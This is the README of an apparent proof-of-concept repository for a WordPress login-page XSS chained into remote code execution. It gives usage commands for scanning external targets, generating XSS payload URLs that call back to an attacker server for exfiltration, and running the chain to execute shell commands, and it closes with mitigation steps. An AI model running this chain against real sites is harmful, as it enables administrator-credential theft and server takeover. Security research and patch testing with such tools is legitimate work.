CVE-2026-64638 — XSS2Shell

Pre-Authentication Reflected XSS → Remote Code Execution in WordPress Core

⚠️ DISCLAIMER: This repository is for authorized security research and educational purposes only. Do not use against systems you do not own or have explicit written permission to test. Unauthorized access is illegal. See SECURITY.md.

---

Overview

CVE-2026-64638 is a pre-authentication reflected XSS in WordPress Core's login/wplogin processing pipeline. The flaw stems from a parser differential where malformed input survives PHP's strip_tags() but is later reconstructed as HTML by wp_kses_post(), allowing attacker-controlled markup to reach the DOM.

Researchers at pwn.ai demonstrated XSS2Shell — a chain that escalates this XSS to full PHP code execution on a default WordPress installation when an authenticated administrator interacts with attacker-controlled content.

Property	Value
CVE	CVE-2026-64638
CVSS	8.9
Type	Reflected XSS → RCE chain
Component	WordPress Core login page
Affected	WordPress < 7.0.3 (backports through 4.7)
Patched	WordPress 7.0.3 (August 6, 2026)
Root cause	Parser differential: strip_tags() vs wp_kses_post()

---

Quick Start (Docker)

git clone https://github.com/<your>/CVE-2026-64638-POC.git
cd CVE-2026-64638-POC

# One command — spin up vulnerable WordPress 7.0.2 + run full chain
./test.sh up
./test.sh chain

What happens:

[STAGE 1] WordPress 7.0.2 → VULNERABLE
[STAGE 2] XSS payload URL generated
[STAGE 3] Application Password created
[STAGE 4] Plugin uploaded + activated
[STAGE 5] RCE → uid=33(www-data)

All Commands

./test.sh up         # Start Docker + install WordPress (admin/admin123)
./test.sh scan       # Detect version & patch status
./test.sh chain      # Run full XSS2Shell RCE chain
./test.sh all        # up + scan + chain (all-in-one)
./test.sh down       # Stop containers
./test.sh clean      # Stop + remove all volumes

# Or with Make
make up              # Start Docker
make install         # Install WordPress
make scan            # Check vulnerability
make gen-xss         # Generate XSS payload URL
make test-chain      # Full RCE chain
make serve           # Start callback server on :8080
make down            # Stop containers

---

Repository Structure

CVE-2026-64638-POC/
├── README.md
├── SECURITY.md              # Security policy & disclaimer
├── docker-compose.yml        # WordPress 7.0.2 + MySQL 8 + WP-CLI
├── Makefile                  # Shortcut commands
├── test.sh                   # Automated test suite
├── requirements.txt          # Python dependencies
│
├── xss2shell_chain.py       # [MAIN] Full chain: scan → XSS → app-password → plugin → RCE
├── xss2shell_scanner.py     # Version detection + username reflection test
├── xss2shell_checker.py     # Lightweight patch checker (safe, non-exploitative)
├── exploit_server.py        # Callback server for XSS exfiltration
├── xss_payload.html         # Interactive XSS PoC (browser)
│
└── docs/
    ├── CHAIN.md             # Technical breakdown of all 7 chain stages
    ├── MITIGATION.md        # Defensive guidance + detection rules
    └── PAYLOAD_NOTES.md     # Notes on the CVE-specific bypass payload

---

Manual Usage (External Target)

python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt

# Scan target
python3 xss2shell_chain.py scan -u https://target.example.com

# Generate XSS payload
python3 xss2shell_chain.py gen-xss -u https://target.example.com -c http://your-ip:8080

# Full chain (requires WordPress admin credentials)
python3 xss2shell_chain.py chain \
    -u https://target.example.com \
    --user admin --pass "password" \
    --cmd "id"

# Individual stages
python3 xss2shell_chain.py stage-apppass -u URL --user U --pass P
python3 xss2shell_chain.py stage-plugin -u URL --apppass "PASS"
python3 xss2shell_chain.py stage-rce -u URL --cmd "whoami"

---

The XSS2Shell Attack Chain

See docs/CHAIN.md for full details.

┌─────────────────────────────────────────────────────────────────┐
│  1. Reflected XSS on wp-login.php (failed-login error page)    │
│  2. DOM clobbering to manipulate page context                   │
│  3. JSONP / Same-Origin Method Execution (SOME)                 │
│  4. Application Password creation via REST API                  │
│  5. REST API access with stolen Application Password            │
│  6. Malicious plugin/theme upload                               │
│  7. PHP code execution → full RCE                               │
└─────────────────────────────────────────────────────────────────┘

Note: Stages 3-7 require a logged-in administrator interacting with the XSS payload. The vulnerability is pre-auth, but the full RCE chain requires admin-level access to complete.

---

Mitigation

1. Update WordPress to 7.0.3 or later immediately
2. Enable automatic background updates
3. Audit Application Passwords (Users → Profile)
4. Review logs for suspicious failed-login usernames
5. Monitor plugin/theme upload activity

See docs/MITIGATION.md for detailed hardening and detection rules.

---

References

• WordPress 7.0.3 Security Release
• pwn.ai XSS2Shell Blog
• pwn.ai SOME/CSP Bypass Writeup
• The Hacker News Coverage
• The CyberSec Guru Article
• CVE Record

Author

Security research & PoC. For educational use only.

License

MIT — See LICENSE